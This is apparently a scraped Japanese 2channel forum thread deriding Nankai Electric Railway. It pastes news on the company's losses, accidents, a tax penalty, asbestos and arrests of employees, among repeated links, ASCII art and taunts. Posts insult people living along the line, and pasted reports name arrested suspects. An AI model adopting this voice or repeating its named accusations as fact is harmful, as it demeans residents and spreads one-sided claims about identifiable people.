。各社とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくない。中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況はかなり厳しい様相を呈している。しかも、同社を巡っては、一年ほど前から
経営陣を批判する数種類の怪文書も出回っており、その騒動の余波は未だに尾を引いている‥‥。さる五月末、同社の二〇〇〇年三月期決算が発表されたが、その数字を見ても同社の置かれた状況がいかに厳しいものかがうかが

える。近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ千百九十九億円と、前年同期比で一・六％の伸びを示したものの、経常利益では十九億円と、前年同期比では実に二七・五％もの
減少という惨憺たる結果になっている。さらにいえば、税引き後利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。「全国的に見ても、関西の雇用情勢は相変わらず厳しい上に、少子高齢化やマイカーへの需要
シフトといった構造的なマイナス要因もあることは確かですが、それでも、大手五社の中で経常利益が前年同期比でマイナスに転じたのは南海だけです。もっとも、各社とも、主力の鉄道事業だけをみればそれぞれ前年よりも収
益が減っているのも確かですが南海の場合、業績不振の観光事業子会社を整理したり、希望退職者への割増退職金などを特別損失として約二百億円計上したことが大きかったようです。それでも、これだけなら本来なら経常段階
でも赤字転落は免れなかったんですが、難波地区の再開発用地の一部を民間都市開発推進機構へ売却して、その売却益でかろうじて黒字にしているという状態なんです」（在阪の経済誌記者）実際、グループ会社も含めた連結決
算ではもっと惨憺たる結果が出ており、連結の売上高でも当初予想を八十億円下回り、最終損益では二十四億円の赤字となっている。前期はかろうじて三億円の黒字をキープしたが、連結での赤字転落はA連結決算を公表して以
来、初めてのことだという。こうした厳しい状況もあってか、労使間の対立も以前にも増してかなり厳しい状況になっているようで、その余波なのか、昨年春以降、経営陣を批判する怪文書も出回って、関係者の注目を集めてい
るのだ。南海電鉄、堺に１４８メートルのマンション計画仁徳陵を一望、住民「景観壊す」堺市内に建設が計画されている高さ約百四十八メートルの超高層マンションから、国内最大の前方後円墳の仁徳天皇陵（堺区）が“丸見
え”になることがわかった。天皇陵との距離は約一キロ。同市は世界遺産登録を目指しているが、地元住民からは「景観悪化につながる」と建設反対の動きも。中には「天皇陵を見下ろすことに問題はないのか」の声もある。建

設主の南海電鉄は数回にわたり住民説明会を開いているが、景観論争の決着には時間がかかりそうだ。南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタール。四十二階と十五階の二棟約五百戸で
、平成二十一年三月のオープンを予定している。高さ約百四十八メートルは市内で最も高い建物となる。ただ、仁徳天皇陵からの距離は北西にわずか約一キロ。同電鉄不動産営業本部では「自然環境豊かな仁徳陵の眺望は、最大
のウリ」という。同電鉄では、計画を打ち出した昨年九月以降、二カ月に一度のペースで地元住民らに説明会を実施しているが、周辺住民は猛反発。天皇陵を含む百舌鳥古墳群の世界文化遺産登録に向け、マンション建設が水を
差すというのが主な理由だ。地元住民で建設に反対する上村雄彦・大阪府立大名誉教授は「明らかに景観を破壊しており、建設を中止しなければ世界遺産登録はありえない」と指摘。ユネスコ（国連教育科学文化機関）は、世界
文化遺産のケルン大聖堂（独）の周辺で高層ビル開発の計画が持ち上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。住民らは今月二十日にも建設中止を求める要望書を市に提出する予定だが、市建築都市
局は「古墳の周囲には、低いながらもすでに家やマンションが建っている。現場に高さ制限はなく、建築基準法をクリアしていれば問題ない。堺の中心地に人を呼び戻す絶好のチャンスと期待している」。ttp://www.sankei.co.
jp/news/060419/evening/20iti001.htm★★★★★★★★★★★★★★★★南海電鉄、単体209.45億円の赤字転落★★★★★★★★★★★★★★★★南海電<9044.OS>：中間単体、05年9月当期赤字転落209.45億円、06年3月見通14
2億円の赤字2005年11月15日火曜日14:23JST［東京１５日ロイター］2005年9月(2005年4月1日-2005年9月30日)注)カッコ内は前年比、△は赤字05年9月中間期04年9月中間期06年3月期見通05年3月期実績売上高（百万円）35,61851,
77570,200100,025(-31.2%)営業利益（百万円）6,7908,914(-23.8%)経常利益（百万円）3,4903,4383,0005,988(+1.5%)当期利益（百万円）△20,9454,963△14,2005,490１株利益（円）△39.909.45△27.0510.45発行済株式総数(千

株）524,859525,266１株配当（円）0.000.00--4.00ttp://today.reuters.co.jp/stocks/FinanceArticle.aspx?view=CN&symbol=9044.OS&storyid=64783+15-Nov-2005+RTRS★★★★★★★★★★★★★★★★南海電鉄、連結192.45
億円の赤字転落★★★★★★★★★★★★★★★★南海電<9044.OS>：中間連結、05年9月当期赤字転落192.45億円、06年3月見通110億円の赤字2005年11月15日火曜日14:23JST［東京１５日ロイター］2005年9月(2005年4月1日-200
5年9月30日)注)カッコ内は前年比、△は赤字05年9月中間期04年9月中間期06年3月期見通05年3月期実績売上高（百万円）91,09099,560192,000196,210(-8.5%)営業利益（百万円）12,71910,682(+19.1%)経常利益（百万円）7,4384,
79110,0009,470(+55.2%)当期利益（百万円）△19,2456,616△11,0007,737１株利益（円）△36.7312.65△20.9614.79営業活動ＣＦ（百万円）17,98220,236ttp://today.reuters.co.jp/stocks/FinanceArticle.aspx?view=CN&symbo
l=9044.OS&storyid=64776+15-Nov-2005+RTRS入金は時価総額などと比べると実情が比較的表れます。南海借入金残高２６８，５８３百万円時価総額２２８，９８９百万円１１７．３％（時価総額に占める借入金割合）阪急借入金
残高５００，０２６百万円時価総額６７２，６５０百万円７４．３％阪神借入金残高１３４，７７４百万円時価総額３９６，３５３百万円３４．０％近鉄借入金残高４６９，６９８百万円時価総額７５９，６８１百万円６１．８
％京阪借入金残高１１４，１６４百万円時価総額２３９，９４７百万円４７．５％こう見れば各社の状態がわかる。南海は借入金が企業規模の割には大き過ぎるる上に金利が高い。一線を越えてしまっている。近鉄も注意を要す
るが南海ほどでもない。京阪は底を脱したのが鮮明に。阪急は借入金はやや多いが金利は安く抜群の収益力でカバー。堅実派として名の通る阪神は借入金は元から少なめ。金利は高いが収益力を考慮すれば問題はない。これでは
社債は金利を高くしないと厳しいだろう。南海の運転ミスによる情けない事故の歴史●男里川事故…踏切でトラックと衝突して川へ転落後で運転士が自分の子供を抱えながら運転していたことがバレて大問題に●羽倉崎事故…回

送車両が車止めを越え更に道路向かいの仏壇屋へ特攻担当の入換運転士曰く「天気が良かったので空に見とれていたら（ｒｙ」●住ノ江事故…同じく回送車両がATSを切った状態で冒進、高架下のプールにダイブ未遂この運転士
の言い訳は「急いで帰りたかった」＜住んでみたい街（関西）トップ10＞に、南海ヲタご自慢の「帝塚山」をはじめ南海沿線の街が１つも出てこなかった上、トップ10の街すべてを阪急沿線に独占され、阪急にお話にもならない
惨敗を喫した南海wしょせん、スラム街の南海沿線なんぞに住みたいなどというバカでキモい奴など、南海ヲタ以外には存在しないということが改めて証明された（ﾌﾟｹﾞﾗ住んでみたい街（関西）トップは「芦屋」ソースttp://al
labout.co.jp/house/townkansai/closeup/CU20060925A/現在の会社の経営状況があまりにもひどすぎるので、せめて現実逃避しようと旧塗装撮影会でシコシコとオナニーした、情けない赤字南海&南海ヲタおらあああ！！モギャ
！∧＿∧―＝≡三∧＿∧＼从从//／（´∀｀）三≡＝――＝≡三と（#´∀｀）つ''"´"∧_ﾉ；*;''"´"''::;:,（阪急つ三≡＝――＝≡三ヽ阪和線￣⌒)＞д(;;;((⌒￣￣￣＿）三≡＝――＝≡三//￣￣´"'''⊂;;；#':*,'´''::;;;;:
:'''"´￣ヽ＼三≡＝――＝≡三＼__）;／／／（_,､｀^)^)＼＼＼（_＿）三≡＝―↑赤字南海赤字南海ヲタが阪急萌えを自白「べっ別に阪急が好きだからこのスレに常駐してるんじゃないんだからね！」弱小私鉄の一つ、大阪は
小便臭い難波とガラの悪い泉州・田舎臭い和歌山・観光客激減の高野山・JRに完敗の関空を結ぶ日本最低の私鉄南海電気鉄道の本線・高野線(ウォッチ以外)・高師浜線・多奈川線・加太線・和歌山港線・過去の廃線区間について
語りましょう。なお、このスレは鉄道路線・車両板掲載の板のため、南海関係でもスレ違いの話が発生します。スレ違い・板違いにならないように、重々お気をつけない。荒らしは歓迎。煽り推奨！聞き分けのある珍作さんは出
てきても(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。どうせ珍作さんはコピペばかりで似たような事しか言いません。(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。他スレから変なものをコピペしてきたり、

既出のものを何度も挙げるのも歓迎。何度もやってる珍作さんは(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。ガイドラインを守りたくない人は新規にスレを立てない。立てたら荒らす。なお、分かって荒らしている珍
作さんは(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。流行語３語と成分分析の使いすぎには注意しない。「使い方を間違えてる人」は(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。主なガイドライン(お約束)
・各種リンク、過去ログ、既出質問やくだらないネタは「まとめサイト」に掲載しています。わざわざスレッドに貼り付けるの絶対歓迎。南海車掌がＪＲ駅員に暴行兵庫県警川西署は１３日、ＪＲの駅員に小銭入れを投げつけた
暴行の現行犯で、大阪府東大阪市の南海電鉄車掌松永英之容疑者（３１）を逮捕した。調べでは、松永容疑者は同日午後１０時ごろ、ＪＲ川西池田駅（川西市）の改札口で、ＩＣ内蔵型乗車カード「ＩＣＯＣＡ」を入れたと思い
込んだ小銭入れを自動改札機にかざしたが、機械が反応しないことに立腹。注意した駅員に「通さんかい」などと文句を言い、小銭入れを投げつけた疑い。駅員ともみ合いになり、通報で駆け付けた川西署員に取り押さえられた
。カードは上着のポケットに入っていた。同署によると、松永容疑者はかなり酒を飲んでいる様子で「やっとらん」と容疑を否認しているという。1000：名無し野電車区：2006/12/29(金)20:47:36ID:2EHvjyne1000なら赤字南海
、産業再生機構に入る【代アニの】南海電気鉄道ｽﾚｯﾄﾞNa90【二の舞】ttp://hobby9.2ch.net/test/read.cgi/rail/1165581791/【代アニの】南海電気鉄道ｽﾚｯﾄﾞNa90【二の舞】ttp://hobby9.2ch.net/test/read.cgi/rail/1165581
791/【代アニの】南海電気鉄道ｽﾚｯﾄﾞNa90【二の舞】ttp://hobby9.2ch.net/test/read.cgi/rail/1165581791/【代アニの】南海電気鉄道ｽﾚｯﾄﾞNa90【二の舞】ttp://hobby9.2ch.net/test/read.cgi/rail/1165581791/【代アニの】
南海電気鉄道ｽﾚｯﾄﾞNa90【二の舞】ttp://hobby9.2ch.net/test/read.cgi/rail/1165581791/【代アニの】南海電気鉄道ｽﾚｯﾄﾞNa90【二の舞】ttp://hobby9.2ch.net/test/read.cgi/rail/1165581791/【代アニの】南海電気鉄道ｽﾚｯﾄ

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tp://hobby9.2ch.net/test/read.cgi/rail/1165581791/【代アニの】南海電気鉄道ｽﾚｯﾄﾞNa90【二の舞】ttp://hobby9.2ch.net/test/read.cgi/rail/1165581791/【代アニの】南海電気鉄道ｽﾚｯﾄﾞNa90【二の舞】ttp://hobby9.2ch.
net/test/read.cgi/rail/1165581791/【代アニの】南海電気鉄道ｽﾚｯﾄﾞNa90【二の舞】ttp://hobby9.2ch.net/test/read.cgi/rail/1165581791/【代アニの】南海電気鉄道ｽﾚｯﾄﾞNa90【二の舞】ttp://hobby9.2ch.net/test/read.cg
i/rail/1165581791/【代アニの】南海電気鉄道ｽﾚｯﾄﾞNa90【二の舞】ttp://hobby9.2ch.net/test/read.cgi/rail/1165581791/民度の高い地域を走る阪急電鉄を動かしてるのは民度の低い河内や泉南の住人現実にしっかりと向き合
えよ,.--──､／/／/ｲｌ!lヽ:ヽ.＼:./:/.:.:/:l.:|:.|l.:.:lヽﾄl.:ヽ.:/.:.:./.:./ﾊ:ト.:.|.:ヽ!l.:ii.:',/ｌ|.:.:|.:ﾚﾊ.:ﾒ.ヽ|.:l/.|.:.i:l:.|.:!ll.:.:|.:lｨZﾐヽ.:l|〉､!l.:ﾄN:|.:.|lﾄl.:.|ゞ┴l/k::仆|:l/ﾘ.:.|lハ:!,
¨´/l./.:|N､＿_'′/ﾚ′小!ヽ` ｰ'`,'|/!____＿__Nト!ヽ､___／┌─────┤lllllL」────┐､｀`''‐-､」|─────‐しｌ|,.K_ｿｰ'────│、｀ヽ、│|DEATHNOTE`‐'│、＼＼|、|───────：────── |＼
＼|＼|南海電気鉄道：.|ttp://ime.nu/2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20061208220609.jpg車内喫煙が見れるのは南海線だけ南海スレが荒らされるのは、南海ヲタ自身に原因があるので、仕方な

いこと。かつて南海ヲタが、関東私鉄系スレへ無差別荒らしに出向いていた報復が原因だから>147度の高い地域を走る阪急電鉄を動かしてるのは民度の低い河内や泉南の住人現実にしっかりと向き合えよ◆◇◆◇◆運転士と車掌
が女性監禁トイレで強制わいせつ◆◇◆◇◆23歳コンパニオンをトイレに監禁、体触る兵庫県警有馬署は２５日、強制わいせつと監禁の疑いで、南海電鉄運転士上野敦弘（３４＝大阪府羽曳野市）、南海電鉄車掌喜多信也（３３
＝和歌山県橋本市）の両容疑者を逮捕した。調べでは、両容疑者は共謀。５月２９日午後８時５０分ごろ、神戸・有馬温泉のホテルで、コンパニオン女性（２３）を男性トイレに連れ込み施錠、体に触るなどのわいせつ行為をし
た疑い。両容疑者は「合意の上だった」と容疑を否認しているという。両容疑者は同期入社の社員十数人と有馬温泉に宿泊。宴会場でコンパニオン数人の接待を受け、２次会でホテル内のバーに移動した。２次会ではコンパニオ
ン数人の時間を延長して接待を受けていた。両容疑者は女性がトイレへ行くため席を立ったところ「ちょっと来て」と誘い、手を引っ張ってトイレに連れ込んだという。両容疑者は約４０分間、女性をトイレに監禁し、わいせつ
な行為に及んだという。]同僚のコンパニオン女性が席に戻ってこない女性を心配し、男子トイレを外からノックしたが、反応はなかったという。６月上旬に女性が同署に被害届を提出した。ttp://osaka.nikkansports.com/news
/p-on-tp6-20060726-66186.html赤字南海

>264三国ヶ丘⇔難波運賃・・・ＪＲ210円南海320円6ヶ月通勤定期・・・ＪＲ30240円南海60810円三国ヶ丘に高野急行停車は命取り。乗客を奪える方のＪＲは、当の昔に快速停車！

今年のバーゲンは、新参の丸井に客をごっそり奪われて、高島屋もパークスも初日とは思えないくらい空いてたな。開店前の行列の長さも、去年の半分以下だったんじゃないか？

駅改札口は、乗客プライバシーの監視場所か！私の妄想話でよければ、また皆さんにご報告差し上げようか！？

阪急百貨店は、売り場面積当たりの売上高が日本一らしい。どうりで、いつ行ってもめちゃくちゃ混んでるわけだ。

>381なぜ南海を一寸たりとも否定しちゃいけないんだ？いいところもあれば悪いところもある。それでいいじゃないか。南海全てにマンセーしろと強要すると、また「南海＝北朝鮮」と突っ込まれるだけだが？

>387お前が南海の一面を否定することに対して、苦言を呈したからだ

これ、スレ違いねていうか、誤爆ね>381代表っしょ

>391彩の台は「都心の地価は上がり続ける」というバブル前の構想を引きずったままの開発で、最近の都心回帰の流れに反してて、売れ行き不調だけどな

「ザなんばタワーレジデンスインなんばパークス」の方が、彩の台と比べてもよっぽど時代のニーズに合った住居供給だ罠まあ実態は、大林組だけで余裕で建てられるのに、南辰支援のために南海が無理やり大林組の迷惑を考え
ずに共同企業体を組まさせて、施工に全然必要のない南辰に金を送金してるだけのことだが

>396そんなの人それぞれなぜお前の個人的意見を、さも大半の見解のようにすりかえたがるんだ？7100＞103＞7000なんて、どうせ言い争いになるのは目に見えてるのに

>4057100＞103＞7000なんて、「よく言われて」もないし。103＞7000でみんな納得できるのか？どう考えても個人の意見だろ

>409何その釈明？

7000系否定派のID:iV8+rh1Mは、さっさと>>413の示した巣ttp://hobby9.2ch.net/test/read.cgi/rail/1159538090/l50に帰るべきだな

巣に帰ったかやっと平和になったようだ

明らかに、7000＞103だな

南海沿線民は負け組の貧民

南海沿線はスラム街よりタチが悪いと聞いたことがある。>575 このスレの住人のようにな！〈｀ｰ─-､＿ノ＾j｀>＜＿＿,─-､＿_＿_／j/￣￣￣Tー‐─┬''⌒ヽー--､r'/､１/|５|７||９└---─､/｀ｰ──/３|│|ｌ|＼//┌┴─‐
─┴┐/８ｌ|＼/２/ｰ─----l６|‐┤ｌ|Ｖ/４└──‐──┘|ｌ|し个､/|　ﾊ〈|｀ーl─‐┬─----------──┬─ｲ´￣ヽヽヽ|／ヽ||ﾊ〉〉〉|/|||/│/〈ノ|||||/|/__/|__/|１０__/|__/|１０(＿＿」ﾞー-‐'ﾞー-‐'(＿＿_」人
（＿_）（＿＿）１１１：阪神電鉄６：阪急電鉄２：泉北高速鉄道７：神戸電鉄３：京阪電気鉄道８：近畿日本鉄道４：山陽電気鉄道９：大阪市交通局５：阪和線１０：北大阪急行11：南海電気鉄道今度関空行くけど、南海乗っ
たるわ。金券ショップで、既に発行済みの南海には１円の得にもならない切符買ってな。>564123といっても、新たに出た構想でなく過去から南海がお題目のように唱えてた事の焼き直しですね。10数年前の幹部は皆、口をそろ
えてそんな事を言ってました。投機関連の書物はそれを引いてきてるだけの話で、どれを見ても判で押したように同じことが書かれています。泉北は力を注ぐ必要の無い地域だというのも、昔の幹部の発想そのもので今でも、昔
の人の考えを忠実に守ってる人はそういう風に言います。かつては南海社内で不動産部門が最重要施策とされて手厚く扱われていたので南海自身が不動産開発できない泉北ニュータウンはどうでも良かったわけです。それよりも
自社で開発している林間田園都市ほかの物件が大事、となるわけです。泉北がこれから衰退するとか、そういう事は施策とは関連していません。泉北が「何年も前なら重視された時期もあった」と書かれていますが、先に書いた

理由のとおり、地域として重要視された事はありませんし、今もそれは色濃く残っています。重要視してると看做されるのは、2000年の泉北直通が増発あたりなのかもしれませんが、この増発のからくりは、過去に書かれていま
したのでここでは省略します。林間田園都市のような大型開発も、すべて完工してしまうとそこで終わってしまうわけですから社会情勢をみながら、一挙な開発はしない方針になっています。1980年代前半の城山台の時から、林
間田園都市はずっと「重点項目」に挙げられていて、今回も今までどおり、漏れることなく項目に挙げられたまでで、刊行までずっと「重点項目」と言い続けるでしょう。特急に関しても同じで、フル稼働の中やりくりして増発
していますが、増発すれば数字上は増収になるわけで、売上高とは別の利益率という面では必ずしも得策ではない、ということもあります。特急を増発すれば増収になるのは分かってながら、特急車を何編成も新造してまでは増
発しない理由はそのへんにあります。極端なまでの片輸送など解決できていない課題もたくさんあります>589いつもはＯＣＡＴ発着の880円リムジンやけどな 和歌山電鐵貴志川線の健闘ぶりを見ると、南海が如何に経営がヘタク
ソなのかがよくわかる。いちご電車で新聞に載ったかと思えば、矢継ぎ早に、今度はネコに、報酬キャットフード１年分で助役やらせて、また新聞に載ってアピールして、客寄せができるんだからな。今の経営陣の企画立案能力
はすごいよ。南海経営陣はただ漫然と電車を走らせ、住民の利便性を考えずに廃止だからな。

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南海と同じく海岸沿いを走り、古い車両が多いにもかかわらず、塩害で車体が錆びない山陽は、阪急並みにメンテがいいのか、それとも南海のメンテが悪すぎるのか、どっち？

南海車両はメンテが悪い南海車両は不潔負け組電車南海未来が無い南海電車貴志川線すら維持できない情けない南海

>818南海沿線は本数少ないよな。どうせなら阪和線沿線のほうがよくね？

南海はタダでさえ運賃高いのに。車両ボロくて、、乗客のらへんように不便にして、、ホンマ、救いようないな。

南海さいてーもう乗りまへんＪＲ環状線大阪市交にします。こっちの方が安いし。

南海は和鉄に買収された方が、上手い経営してくれて汚物7000系をより早く全廃してくれそう南海最悪。改札で切符入れたらブザーがなってキセルよばわりされためっちゃむかつくもう次から乗らない

>867汚物7000系みたいな糞車両の廃車なんかに悲しむ人などいませんが、何か？だが今の南海は負債漬けで体力がないので、汚物7000系の全廃はめどが立たない実に腹立たしいことだ

>883毎年毎年、そのセリフはもう聞き飽きたって。お前の脳内南海は、もう全て1000系以降の新車だけで構成されているんだろうな。色々動くための資金はどこから調達すんの？いい加減、財務諸表やら現実と向き合ってから物言えよ。

銀色電車って何者？どうせ気に入らないカキコに難癖つけようと誰かがハンドルネーム変えてるんだろうがな>845変な視点って完全にズレててわけのわからないカキコじゃん。何で南海の車両が東急車輛のデータに貢献してない
って言い切れるのかな？で、東急と京王と南海がオールステンレス車両の耐久性を証明したのとオールステンレスの製造ノウハウの開放って全然関係ないハナシじゃん。こいつ知識自慢したいのかしれないが国語力のなさ露呈さ
せてるよ。

>883はいはい、バブルの頃は“おけいはん”の会社は６０００系より前の車両は完全に置き換えるとか言ってたよな。それが今は清原や桑田の同じ歳の車両をピカピカ更新再生させる昔の経営優等生電鉄会社もあるわけだ。南海
だけ、７０００系だけ見てくちゃくちゃ言うのは世間が狭い

近畿日本鉄道

京阪電気鉄道

ナムへでまたコンパスカードが大量盗難にされたってマジ?銀色電車が７０００系＆南海と東急車輛の蜜月叩きの張本人？バブル期の反省も無く、再びハコモノばっかり優先してぶっ建てて有利子負債増やして、金利上昇にヒィ
ヒィ言ってる南海w◇◆◇◆◇南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）◇◆◇◆◇南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の申告
漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。
関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。しかし、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして重
加算税の対象にしたという。また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://
news.goo.ne.jp/news/topics/index/02122/1.html◆◇◆◇◆減損処理で当期赤字に南海電鉄決算◆◇◆◇◆2006年05月12日南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、
来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html南海電鉄ア
スベストむき出し南海電鉄によりますと、あわせて１３の駅で天井のはりなどにアスベストが使われており、中でも大阪市内と堺市内の６つの駅ではアスベストを吹きつけた部分が密閉されず、一部がむき出しになっていて、薬
品などで固定する措置も取られていないということです。このうち、１つの駅では、近く予定されている改築に合わせてアスベストを撤去しますが、ほかの５つの駅では撤去や密閉などの新たな措置は今のところ考えていないと

いうことです。これについて南海電鉄の総務部は、現状でもアスベストが飛び散るおそれはないとしており、アスベストがむき出しになっている駅がどこかは明らかにしていません。一方、大阪の大手私鉄、京阪電鉄によります
と、４つの駅で建物にアスベストが吹き付けられており、このうち、大阪・枚方市の村野駅の屋根の一部でアスベストがむき出しになっているということです。京阪電鉄でも、アスベストが飛散する心配はほとんどないとしてい
ますが、近く、撤去することにしています。このほか、近鉄でも５つの駅でアスベストが吹き付けられていますが、飛散しないように固定する措置を取っているため、健康上の心配はないとしています。ttp://www3.nhk.or.jp/n
ews/2005/08/02/d20050802000028.html◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆◆◆27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、子ども会でアイス
スケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰をけった。男児ははずみでホームに押し出され転倒。男はさらに引率者の会社員男性(40)の顔を殴ったが、男性にその場で取り押さえられ、高石署に暴行と
傷害容疑で現行犯逮捕された。調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。男児らは約70人のグループで電車に乗っており、藤本容疑者は「子どもたちがうるさかった」と供述しているという。ソース：朝日
新聞２月28日付朝刊35頁社会面◆◇◆◇◆運転士と車掌が女性監禁トイレで強制わいせつ◆◇◆◇◆23歳コンパニオンをトイレに監禁、体触る兵庫県警有馬署は２５日、強制わいせつと監禁の疑いで、南海電鉄運転士上野敦弘（
３４＝大阪府羽曳野市）、南海電鉄車掌喜多信也（３３＝和歌山県橋本市）の両容疑者を逮捕した。調べでは、両容疑者は共謀。５月２９日午後８時５０分ごろ、神戸・有馬温泉のホテルで、コンパニオン女性（２３）を男性ト
イレに連れ込み施錠、体に触るなどのわいせつ行為をした疑い。両容疑者は「合意の上だった」と容疑を否認しているという。両容疑者は同期入社の社員十数人と有馬温泉に宿泊。宴会場でコンパニオン数人の接待を受け、２次

会でホテル内のバーに移動した。２次会ではコンパニオン数人の時間を延長して接待を受けていた。両容疑者は女性がトイレへ行くため席を立ったところ「ちょっと来て」と誘い、手を引っ張ってトイレに連れ込んだという。両
容疑者は約４０分間、女性をトイレに監禁し、わいせつな行為に及んだという。]同僚のコンパニオン女性が席に戻ってこない女性を心配し、男子トイレを外からノックしたが、反応はなかったという。６月上旬に女性が同署に
被害届を提出した。ttp://osaka.nikkansports.com/news/p-on-tp6-20060726-66186.html（１１月２９日の社会面ニュース）４少年が電車・駅で女子高生にわいせつ行為容疑で逮捕------------------------------------------
--------------------------------------大阪府立高校の男子生徒３人を含む少年４人が、女子高校生に電車内などでわいせつな行為をしたとして、府警は２９日、いずれも同府岸和田市内に住む高校３年の男子生徒（１８）と
会社員（１７）を強制わいせつ容疑で、１６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で逮捕した、と発表した。少年らは、女子生徒が電車から降りた後、便所に連れ込んでわいせつ行為を続けた
という。少年課の調べでは、高３の男子生徒は１０月１１日午後１０時１０分ごろ、南海みさき公園発難波行きの電車内で、同じ車両に居合わせた女子生徒を隣に座らせ、２５分にわたって体を触るなどした疑い。女子生徒が乗
り換えのため岸和田駅で下車したところ、この男子生徒と会社員の少年は女子生徒を同駅の男子トイレに連れ込んで約１０分間、わいせつな行為を続けた疑い。高１の２人は電車内ではやし立てたり、トイレ外側で見張ったりし
て２人を助けた疑い。同課によると、女子生徒は電車内で「やめてください」などと助けを求めたが、当時車内にいた数人の客は助けようとしなかった。車掌や駅員も気づかなかったという。少年４人は遊び仲間で、女子生徒と
は面識がなかった。ttp://www.asahi.com/kansai/news/OSK200411300005.html■「世界遺産登録に“超高層”の影」2006/05/23 放送（長文のため一部省略）この４月に関西で４番目、全国で１５番目に政令市となった大阪府堺

市が、再開発問題で頭を痛めています。超高層マンションで駅前を一気に活性化しようというものなんですが、堺市が世界に誇る歴史遺産の未来に暗い影を落としているんです。しかし去年９月、竹川さんの耳に信じられないニ
ュースが飛び込んできました。なんと４５階建て、高さ１５２メートルのタワーマンションが建つというのです。世界遺産登録をめざす堺市でなぜこんなことが起こるのでしょうか。建設予定地は以前南海電鉄の操車場でしたが
、移転に伴い、遊休地となっていました。それがおととしの５月、都心活性化のための特別措置法で、駅西側の商業地とともに、高さ制限のない緊急整備地域に指定されました。そこに南海電鉄は、超高層マンション計画を立ち
上げたのです。〈南海電鉄住宅事業部・田中裕二部長〉「町が変わるんだ、中心地が活性化するんだと。こういうことの起爆剤、呼び水になると考えています。（超高層マンションは）違和感のない景観だと思っています」＜続
く＞ しかしこの計画地、反正陵からわずか１２０メートル。完成したら周囲の景観は激変し、世界遺産登録への影響が心配されます。反対派住民は計画の見直しを訴えましたが、南海電鉄との話し合いは平行線のままです。地
元で反対運動を進める吉田さんらは、手作りの模型で、マンションの及ぼす影響を説明してきました。〈地元対策協議会・吉田暢事務局長〉「イメージがわかない方もおられるんで、『ピラミッドの横に１５０メートルの建物が
建つという風にお考え頂いたらよくわかりますよ』と。あぁそういうことかと」吉田さんのもとには、すでに７，０００人を越える署名が集まりました。堺市の有識者会議にも名を連ねる専門家はこう指摘します。〈京都府立大
学・宗田好史助教授〉「あえて、今から登録をめざす遺産の中に高層ビル、それも地元の反対があるとなれば絶望的ですね」世界遺産か高層マンションか。ttp://mbs.jp/voice/special/200605/23_2733.shtml◆◇◆◇◆踏切の
電源入れ忘れ作動せず８列車通過南海和歌山港線◆◇◆◇◆2006年10月20日20時46分和歌山市網屋町の南海和歌山港線「久保町２号踏切」で２０日始発から午前８時半ごろまで、警報機や遮断機が作動せず、特急や急行など計８

本の列車がそのまま通過した。未明にあった点検作業のため電源を切ったまま忘れていたのが原因という。現場は工場が密集する地域で人通りは少なく、けが人はなかった。南海電気鉄道によると同日午前０時半ごろ、踏切や信
号機などに電気を送る電源装置の定期点検のため、同線の踏切１１カ所の電源を切った。点検が終わった午前３時ごろから、社員２人が電源を入れて回ったが、ここだけ復旧し忘れたという。午前８時５分ごろ、現場手前で急行
列車の運転士が異常に気付き、本社に連絡した。同社は「初歩的なミスで大変申し訳ない。作業手順の厳守とチェックを徹底する」としている。ttp://www.asahi.com/national/update/1020/OSK200610200054.html南海電鉄で囁
かれる｢最悪のシナリオ｣怪文書が指摘する疑惑の数々､疑惑に発展か経企庁による“大本営発表”の数字はともかく、いまだ景気の回復はその兆しすら見えてこないという状況の中、私鉄各社の経営も依然として厳しい状態が続
いている。各社とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくない。中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況はかなり厳しい様相を呈している。しかも、同社を巡っては、一年ほ
ど前から経営陣を批判する数種類の怪文書も出回っており、その騒動の余波は未だに尾を引いている‥‥。さる五月末、同社の二〇〇〇年三月期決算が発表されたが、その数字を見ても同社の置かれた状況がいかに厳しいものか
がうかがえる。近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ千百九十九億円と、前年同期比で一・六％の伸びを示したものの、経常利益では十九億円と、前年同期比では実に二七・
五％もの減少という惨憺たる結果になっている。さらにいえば、税引き後利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。 「全国的に見ても、関西の雇用情勢は相変わらず厳しい上に、少子高齢化やマイカ
ーへの需要シフトといった構造的なマイナス要因もあることは確かですが、それでも、大手五社の中で経常利益が前年同期比でマイナスに転じたのは南海だけです。もっとも、各社とも、主力の鉄道事業だけをみればそれぞれ前

